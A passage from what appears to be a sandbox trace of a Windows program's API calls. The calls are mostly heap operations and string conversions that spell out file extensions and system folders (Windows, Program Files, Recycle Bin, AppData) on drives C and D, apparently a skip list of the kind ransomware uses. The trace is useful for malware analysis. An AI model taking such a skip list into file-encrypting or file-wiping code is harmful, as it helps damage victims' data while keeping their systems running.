0x326b030 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf1f8 | out: hHeap=0x660000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c3e0 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32b99c8 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x808) returned 0x327ac80 [0111.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1028 | out: lpWideCharStr=".ini") returned 5 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x32bd858 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c3e0 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32b99c8 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x808) returned 0x327ac80 [0111.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1028 | out: lpWideCharStr=".DLL") returned 5 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x32be070 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd8) returned 0x3201450 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326b030 | out: hHeap=0x660000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c3e0 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32b99c8 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x808) returned 0x327ac80 [0111.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1028 | out: lpWideCharStr=".dll") returned 5 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x32be888 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c3e0 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32b99c8 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x808) returned 0x327ac80 [0111.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1028 | out: lpWideCharStr=".blf") returned 5 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x32bf0a0 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c3e0 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32b99c8 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x808) returned 0x327ac80 [0111.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1028 | out: lpWideCharStr=".bat") returned 5 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x32bf8b8 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x138) returned 0x328fea0 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201450 | out: hHeap=0x660000) returned 1 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c3e0 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32b99c8 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x808) returned 0x327ac80 [0111.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1028 | out: lpWideCharStr=".lnk") returned 5 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1036 | out: lpWideCharStr=".regtrans-ms") returned 13 [0111.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1036 | out: lpWideCharStr="C:\\SystemID\\") returned 13 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1046 | out: lpWideCharStr="C:\\Users\\Default User\\") returned 23 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1040 | out: lpWideCharStr="C:\\Users\\Public\\") returned 17 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1043 | out: lpWideCharStr="C:\\Users\\All Users\\") returned 20 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1041 | out: lpWideCharStr="C:\\Users\\Default\\") returned 18 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1050 | out: lpWideCharStr="C:\\Documents and Settings\\") returned 27 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1039 | out: lpWideCharStr="C:\\ProgramData\\") returned 16 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1036 | out: lpWideCharStr="C:\\Recovery\\") returned 13 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b89c8 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1053 | out: lpWideCharStr="C:\\System Volume Information\\") returned 30 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x326c3e0, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1060 | out: lpWideCharStr="C:\\Users\\%username%\\AppData\\Roaming\\") returned 37 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x326c3e0, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1058 | out: lpWideCharStr="C:\\Users\\%username%\\AppData\\Local\\") returned 35 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1035 | out: lpWideCharStr="C:\\Windows\\") returned 12 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1036 | out: lpWideCharStr="C:\\PerfLogs\\") returned 13 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1049 | out: lpWideCharStr="C:\\ProgramData\\Microsoft\\") returned 26 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1053 | out: lpWideCharStr="C:\\ProgramData\\Package Cache\\") returned 30 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1040 | out: lpWideCharStr="C:\\Users\\Public\\") returned 17 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1040 | out: lpWideCharStr="C:\\$Recycle.Bin\\") returned 17 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327c638 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1040 | out: lpWideCharStr="C:\\$WINDOWS.~BT\\") returned 17 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1032 | out: lpWideCharStr="C:\\dell\\") returned 9 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1033 | out: lpWideCharStr="C:\\Intel\\") returned 10 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1036 | out: lpWideCharStr="C:\\MSOCache\\") returned 13 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1041 | out: lpWideCharStr="C:\\Program Files\\") returned 18 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1047 | out: lpWideCharStr="C:\\Program Files (x86)\\") returned 24 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1033 | out: lpWideCharStr="C:\\Games\\") returned 10 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1039 | out: lpWideCharStr="C:\\Windows.old\\") returned 16 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x326c3e0, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1060 | out: lpWideCharStr="D:\\Users\\%username%\\AppData\\Roaming\\") returned 37 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32cdec0 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x326c3e0, cbMultiByte=-1, lpWideCharStr=0x32cdec0, cchWideChar=1058 | out: lpWideCharStr="D:\\Users\\%username%\\AppData\\Local\\") returned 35 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32cdec0 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1035 | out: lpWideCharStr="D:\\Windows\\") returned 12 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1036 | out: lpWideCharStr="D:\\PerfLogs\\") returned 13 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32b99c8, cbMultiByte=-1, lpWideCharStr=0x32c5af8, cchWideChar=1047 | out: lpWideCharStr="D:\\ProgramData\\Desktop\\") returned 24 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32c5af8 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.425] HeapFree (in: hHeap=0x660000, 